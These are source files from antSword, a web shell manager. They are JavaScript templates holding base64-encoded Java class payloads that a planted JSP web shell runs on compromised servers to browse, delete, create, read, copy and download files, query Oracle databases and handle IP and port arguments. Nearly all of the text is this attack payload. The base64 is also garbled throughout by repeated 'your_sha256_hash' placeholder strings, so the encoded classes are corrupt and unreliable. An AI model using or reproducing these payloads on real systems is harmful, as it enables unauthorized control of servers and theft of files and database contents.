ha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGlcZBcYACBkFtgAzpwAcOgenABc6CBkFxgAIGQW2ADOnAAU6CRkIv4QGAaf/your_sha256_hashAKgAsgC1ABsApgCoAKYAAAABAHMAAABuABsAAAA8AAgAPQAQAD4AEwA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTizGAAcstgAzLbYAPi2/AAEAAgBDAEQAGwABAHMAAAA+your_sha256_hashAF8ASQBgAE0AYgBRAGMAeAAAAAQAAQAbAAEAfQB+AAEAcgAAAWgABAAGAAAA3Cu2AD+your_sha256_hashyour_sha256_hashNK8EAQpkAciorwABCtQACKrQAArYAPxJMtgBNTi0EtgBOLSq0AAK2AE/AAEI6BBkEtgA/ElC2AE06BRkFBLYATioZBRkEtgBPwABDtQADpwAoTioqtAACtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashewC3AH0A1gCAANkAfgDbAIUAAQB/your_sha256_hashWQWyAFRTtgBITi0EtgBVLSq2AD+2AFYGvQBJWQMsU1kEA7gAV1NZBSy+your_sha256_hashyour_sha256_hashgACBAAEAcgAAANsABgAGAAAAjwFNElu4AFxOLRJdtgBemwBKEl+4AEU6BBkEEmADvQBHtgBhAQO9AEm2AEo6BRkFtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashnABfAJ0AhwCfAIkAoACLAKEAAQCCAAAAAgCD', [arg1]: '#{newbase64::ip}', [arg2]: '#{newbase64::ports}' }, }) ```
/content/code_sandbox/source/core/jsp/template/other.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,927
```javascript // // oracle // // @params // :encode SHELL // :conn // :sql SQL // :db // :table module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ show_databases: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbgD5AQAADAD6AO8BAAINCgEAAQoMAPsA/AwA/QD+DAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashVAQ2DhUOGQ25ADcBAKMALxkNFQ65ADgCADoPuwAcWbcAHRkHtgAfGQ+2AB8ZBLYAH7YAIToHhA4Bp//LuwAcWbcAHRkHtgAfGQW2AB+your_sha256_hashZB7YAHxkPtgAfGQS2AB+2ACE6B4QOAaf/y7sAHFm3AB0ZB7YAHxkFtgAftgAhOgen/6UZB7AAAAABAHEAAABaABYAAAA8AAQAPQAWAD4AIQA/your_sha256_hashyour_sha256_hashyour_sha256_hashAAMAWQAHAFoACwBbAHYAAAAEAAEAGwABAHsAfAABAHAAAAFoAAQABgAAANwrtgA+tgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashRVkDEwBRU1kEsgBSU1kFsgBSU7YARk4tBLYAUy0qtgA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAIcAlgCJAJcAiwCYAAEAgAAAAAIAgQ==', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}' }, show_tables: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALgAuQsAugC7CwC8AL0LALwAvgsAugC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOi8vIAwA7wDxDADyAPMMAPQA9QwAfwB3BwD2DAD3AOwHAPgMAPkA+gwA+wD8DAB0AHUBABBqYXZhL2xhbmcvU3RyaW5nDACAAIEMAHAA/QEAAAwA/gDzAQACDQoBAAEKDAD/your_sha256_hashARIBEwwBFAD8DAEVARYMARcA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHcBAAMxLjkMATQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashh+your_sha256_hashgGQS2ACC2ACK2ACanAAU6CQSsAAIAJACeAKEAHAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashuwAdWbcAHhkHtgAgGQ+2ACAZBLYAILYAIjoHhA4Bp//your_sha256_hashZDBUOuQA7AgA6D7sAHVm3AB4ZB7YAIBkPtgAgGQS2ACC2ACI6B4QOAaf/y7sAHVm3AB4ZB7YAIBkFtgAgtgAiOgen/6UZB7AAAAABAHMAAABaABYAAAA+your_sha256_hashyour_sha256_hashAHsAfAACAHIAAABUAAcABwAAADC7AB1ZtwAeEjy2ACAttgAgEj22ACC2ACI6BBI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHQAbgCBAG8AhgBwAJMAcQCfAHIApQBzALMAegC2AHQAtwB2ANYAeQDZAHcA2wB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashABEAkQAYAJIALQCTAFUAlABYAJUAXwCWAIcAmACJAJkAiwCaAAEAggAAAAIAgw==', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}' }, show_columns: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALoLALsAvAsAvQC+CwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbGRlcgEACUVSUk9SOi8vIAwA8wD1DAD2APcMAPgA+QwAgQB5BwD6DAD7APAHAPwMAP0A/gwA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE1AQAMamF2YS52ZXJzaW9uBwE2DAE3AHkBAAMxLjkMATgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashi46Byy2AC8SMBIxtgAyEjG2ADM6CBkIAzK2AC+your_sha256_hash4AQA6DRUGmQBUBDYOFQ4ZDbkAOQEAowAvGQ0VDrkAOgIAOg+7AB5ZtwAfGQe2ACEZD7YAIRkEtgAhtgAjOgeEDgGn/your_sha256_hashxkMFQ65ADwCADoPuwAeWbcAHxkHtgAhGQ+2ACEZBLYAIbYAIzoHhA4Bp//LuwAeWbcAHxkHtgAhGQW2ACG2ACM6B6f/pRkHsAAAAAEAdQAAAFoAFgAAAEEABABCABYAQwAhAEQAJwBFADYARgA/your_sha256_hashAFMA7QBXAQMAWAEGAFkAegAAAAQAAQAdAAAAfQB+AAIAdAAAAF4ABwAIAAAAOhI9OgUSLjoGuwAeWbcAHxI+tgAhLbYAIRI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAB0AAQB1AAAAYgAYAAAAZAAKAGUAEgBmABwAZwAmAGgAKQBqAC8AawBIAGwAYQB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAEAhAAAAAIAhQ==', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}', [arg4]: '#{newbase64::table}' }, query: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashdADwCgA1APEHAPIHAPMHAPQIAPUIAPYKADUA9wgA+AgAdQoANQD5CgD6APsKAPoA/AgAdwcA/QgA/gkAtQD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOylbQgEAClNvdXJjZUZpbGUBAApRdWVyeS5qYXZhDAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashARcMARgBGQwAggCDAQAQamF2YS9sYW5nL1N0cmluZwwAjwCQDAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBwE1DAE2ATcHATgMATkBOgcBOwwBPAE9DAE+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCSy7AB1ZtwAeEh+your_sha256_hashgGQS2ACC2ACK2ACanAAU6CQSsAAIAJACeAKEAHAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashADYZBQS9ADdZAyu2ADxTtgA4wAAqTqcARBI9uAAzOgQZBAO9ADW2AD4DvQA3tgA/OgUZBbYAORJABL0ANVkDEwA7U7YANhkFBL0AN1kDK7YAPFO2ADjAACpOLRJBEi+2AEJOLbBOEi+wAAEABgClAKYAHAABAIEAAAA6AA4AAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashFQ+5AE4CADoQuwAdWbcAHhkHtgAgGRC2ACAZBLYAILYAIjoHhA8Bp//your_sha256_hashZDRUPuQBQAgA6ELsAHVm3AB4ZB7YAICoZELYAUbYAIBkEtgAgtgAiOgeEDwGn/8e7AB1ZtwAeGQe2ACAZBbYAILYAIjoHp/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAXABgAF4AZQBfAHQAYAB/AGEAmgBfAKAAYwC2AGYAwABnAM8AaADaAGkA+QBnAP8AawEVAGwBGABtARsAbgE7AG8BRABwAUkAcQF/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAGlTWQWyAGlTtgBgTi0EtgBqLSq2ADm2AGsGvQA3WQMsU1kEA7gAbFNZBSy+uABsU7YAOMAANToEGQQEvQA1WQMTACpTtgBtBL0AN1kDK1O2AD+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAQCRAAAAAgCS', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::sql}' } }) ```
/content/code_sandbox/source/core/jsp/template/database/oracle.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,825
```javascript // // // module.exports = (arg1, arg2, arg3) => ({ dir: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHYMAIQAhQEAEHN1bi5qbnUuZW5jb2RpbmcHAPcMAPgAgQcA+QwA+your_sha256_hashyour_sha256_hashAD+AP8MAQAA/your_sha256_hashyour_sha256_hashAEHAQgMAIYAgQcBCQwBCgD/BwELDAEMAQ0MAQ4BDwwAfgB/your_sha256_hash/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyoSCLUACbEAAAABAH0AAAAaAAYAAAALAAQADAAJAA0ADgAOABQADwAaABAAAQB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtgA6mQAIEjunAAUSPDoGuwAfWbcAIBkGtgAiLRUKMrYAPZkACBI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTrYAIrYAJDoHhAoBp/65uwAfWbcAIBkEtgAiGQe2ACK2ACQ6BBkEsAABAHwAuwC+AB4AAQB9AAAAUgAUAAAAPQAJAD4ADgA/your_sha256_hashyour_sha256_hashAAAA3Cu2AD+2AE+your_sha256_hashyour_sha256_hashyour_sha256_hash/Ely2AFk6BRkFBLYAWioZBRkEtgBbwABStQADpwAoTioqtAACtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEl0SXga9AEFZAxJfU1kEsgBgU1kFsgBgU7YAVk4tBLYAYS0qtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashLRJotgBpmwBJEmq4AFQ6BBkEEmsDvQBBtgBCAQO9AEO2AEQ6BRkFtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashXgCOAIUAkACHAJEAiQCSAAEAiQAAAAIAig==', [arg1]: '#{newbase64::path}' }, delete: { _: your_sha256_hashfAoAWQB9BwB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtAgAtQcAtgkAlAC3CgCtALIKADoAuAoAlAC5CgA6ALoKALsAvAoAPACPCAC9CgC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPkA+gcA+wwA/AD9AQAMamF2YS52ZXJzaW9uBwD+DAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAB+your_sha256_hashyour_sha256_hashyour_sha256_hash1ACEAkQAkALsAJgC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBBUELb6iAB8tFQQytgAvmgAPKi0VBDK2ADC2ABhXhAQBp//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashANZkAciorwAA1tQACKrQAArYAMhI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHsAXgB8AIUAfgCHAH8AiQCAAAEAcgAAAAIAcw==', [arg1]: '#{newbase64::path}' }, create_file: { _: 'yv66vgAAADEBHgoARQB/your_sha256_hashAIoIAIsIAIwIAI0IAI4IAI8LAD8AkAsAPgCRCwA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashuwoAQwC8CAC9BwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgMAGoAaAwAeAB5AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPUA9gwA9wD4DAD5AG0BAAExDAD6AHwMAGwA+AwA4QD7DAD8AP0MAP4A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAd4LRkEFQcEYLYAM7YANIC2ADWEBwKn/your_sha256_hashyour_sha256_hashAe2ADhOuwAcWS2+your_sha256_hasherYAM7YAOleEBQGn/your_sha256_hashyour_sha256_hashD3AAD1NKiwDMsAAPrUAAiosBDLAAD+1AAOnALUSQLgAQU0qLBJCA70AQ7YARCsDvQBFtgBGwAA+tQACKiwSRwO9AEO2AEQrA70ARbYARsAAP7UAA6cAek0rwQA+your_sha256_hashTLYASToFGQUEtgBKKhkFGQS2AEvAAD+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashRLSq2ADu2AFIGvQBFWQMsU1kEA7gAU1NZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE/AAE9NpwAxEl+your_sha256_hashDvAiwAAEACACGAIcAGwABAG8AAAAyAAwAAAB/your_sha256_hashAAAAAgB+', [arg1]: '#{newbase64::path}', [arg2]: '#{newbase64::content}' }, read_file: { _: 'yv66vgAAADEBDQoAQQB5CQBeAHoJAF4AewgAfAkAXgB9CAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashqAoALACpCACqCgAsAKsKAEEArAoAPwCtBwCuBwCvBwCwCACxCgA/ALIIALMHALQKAD8AtQcAtgoAtwC4CAC5CABfCgA/ALoKALsAvAoAuwC9CABhBwC+CAC/your_sha256_hashygoAKADLCADMCADNCgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashc3BvbnNlDAD2APcHAPgMAPkA+gwA+wD8AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBAAJbQgwA/QD+DAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBKwAAgAcAHAAcwAaAJEAuwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashADM6BBkEtgA0WU3GAB67ABtZtwAcLbYAHiy2AB4SNbYAHrYAIE6n/your_sha256_hashyour_sha256_hashAMywAA6tQACKiwEMsAAO7UAA6cAtRI8uAA9TSosEj4DvQA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYADZAF4A2wBlAAEAdABvAAEAagAAAKoABgAFAAAAcioqtAAXtgApTRJJEkoGvQA/your_sha256_hashU1kFLL64AE9TtgBCwAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashegBUAHsAVwB8AF4AfQCFAH8AhwCAAIkAgQABAHcAAAACAHg=', [arg1]: '#{newbase64::path}' }, copy: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAQABLwwA9wDmAQAXamF2YS9pby9GaWxlSW5wdXRTdHJlYW0MAG4A+AEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwA+QD6DAD7APwMAP0AbwEAATEMAP4A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbYAGlcqtAADuQAiAQC7ABxZtwAdLbYAHyostgAjtgAktgAfGQS2AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash2AB8SMrYAHxkFFQYytgAztgAftgAhtgAZV4QGAaf/your_sha256_hashABAZBhkIAxUHtgA5p//kGQW2ADoZBrYAOxI8sAAAAAEAcQAAAEYAEQAAAD0AEwA+your_sha256_hashyour_sha256_hashtgA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAH8=', [arg1]: '#{newbase64::path}', [arg2]: '#{newbase64::target}' }, download_file: { _: 